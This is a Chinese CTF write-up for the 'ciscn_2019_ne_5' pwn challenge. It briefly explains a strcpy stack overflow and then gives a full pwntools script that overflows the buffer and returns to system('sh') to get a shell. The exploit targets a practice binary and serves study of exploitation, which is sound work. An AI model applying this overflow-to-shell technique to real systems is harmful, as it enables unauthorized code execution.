ciscn_2019_ne_5

谁践踏了优雅 2023-02-18 12:53 2阅读 0赞

这道题如果出现不能反编译参考[文章][Link 1]  
![在这里插入图片描述][20200617204815269.png]  
简单说一下思路，在`AddLog`中添加的数据存放在`src`对应的栈中，在`GetFlag`中因为`strcpy`函数存在溢出，所以直接在`AddLog`构造payload在`strcpy`中溢出就直接拿到shell了！  
![在这里插入图片描述][20200617205601742.png]  
exp

#!/usr/bin/env python
    # coding=utf-8
    
    from pwn import *
    
    context(log_level='debug')
    proc_name = './ciscn_2019_ne_5'
    p = process(proc_name)
    # p = remote('node3.buuoj.cn', 29868)
    elf = ELF(proc_name)
    system_addr = elf.sym['system']
    main_addr = elf.sym['main']
    sh_str = 0x80482ea
    p.sendlineafter('password:', 'administrator'.encode())
    p.recv()
    p.sendline('1')
    p.recvuntil('info:')
    payload = 'a'.encode() * (0x48 + 4) + p32(system_addr) + p32(main_addr) + p32(sh_str)
    p.sendline(payload)
    p.recv()
    p.sendline('4')
    p.interactive()

![在这里插入图片描述][2020061720511851.png]

[Link 1]: https://blog.csdn.net/weixin_43833642/article/details/106816546
[20200617204815269.png]: https://img-blog.csdnimg.cn/20200617204815269.png
[20200617205601742.png]: https://img-blog.csdnimg.cn/20200617205601742.png
[2020061720511851.png]: https://img-blog.csdnimg.cn/2020061720511851.png

发表评论取消回复

表情：

评论列表（有 0 条评论，2人围观）

还没有评论，来说两句吧...

相关阅读

相关 ciscn2019华北赛区半决赛day1web5CyberPunk

刚比赛完的一段时间期末考试云集，没有时间复现题目。趁着假期，争取多复现几道题。复现平台 buuoj.cn 解题过程首先进入题目页面 ![index][]

亦凉/ 2023年08月17日 17:00/ 0 赞/ 111 阅读

相关 ciscn2019华北赛区半决赛day2_web1题解

> 比赛结束以后采用非官方复现平台做的题，和比赛题有轻微不同，比赛中存放flag的table是ctf，这里是flag。题目地址 buuoj.cn 解题过程题

小鱼儿/ 2023年08月17日 17:00/ 0 赞/ 109 阅读

相关 ciscn2019华北赛区半决赛day1_web1题解

感谢buuoj的大佬们搭建的复现环境。作为一位CTF的初学者，我会把每个题目的writeup都写的尽量详细，希望能帮到后面的初学者。 > http://web42.buuoj

超、凢脫俗/ 2023年08月17日 17:00/ 0 赞/ 114 阅读

相关 2019.8.5

　　一、今天做的事情&遇到的问题　　1、Intellij快捷键　　　　添加常量：ctrl+alt+c 　　　　变量转换成对象属性：ctrl+alt+f 　　　　变量

Love The Way You Lie/ 2023年08月17日 16:27/ 0 赞/ 17 阅读

相关 ciscn_2019_ne_5

这道题如果出现不能反编译参考[文章][Link 1] ![在这里插入图片描述][20200617204815269.png] 简单说一下思路，在`AddLog`中添加的

谁践踏了优雅/ 2023年02月18日 12:53/ 0 赞/ 3 阅读

相关 ciscn_2019_n_5

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ub

男娘i/ 2023年02月18日 09:35/ 0 赞/ 19 阅读

相关 BUUCTF ciscn_2019_n_8

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ub

向右看齐/ 2023年02月17日 02:45/ 0 赞/ 44 阅读

相关 BUUCTF ciscn_2019_c_1

![在这里插入图片描述][20200601171951859.png_pic_center] 跑一下程序，大致流程是 ![在这里插入图片描述][watermark_ty

布满荆棘的人生/ 2023年02月14日 07:42/ 0 赞/ 104 阅读

相关 2019.5.14

坚持的力量哪怕每天一句话； 1.接口测试相关框架 2.locust 3.数据库的安装以及简单的增删改出转载于:https://www.cnblogs.com/

r囧r小猫/ 2022年01月09日 11:39/ 0 赞/ 90 阅读

相关 2019-5-5学习心得

对象的一个方法例如: const obj = { ["func"](a,b){ } }等价于 var obj={ fun

Myth丶恋晨/ 2022年01月07日 19:35/ 0 赞/ 228 阅读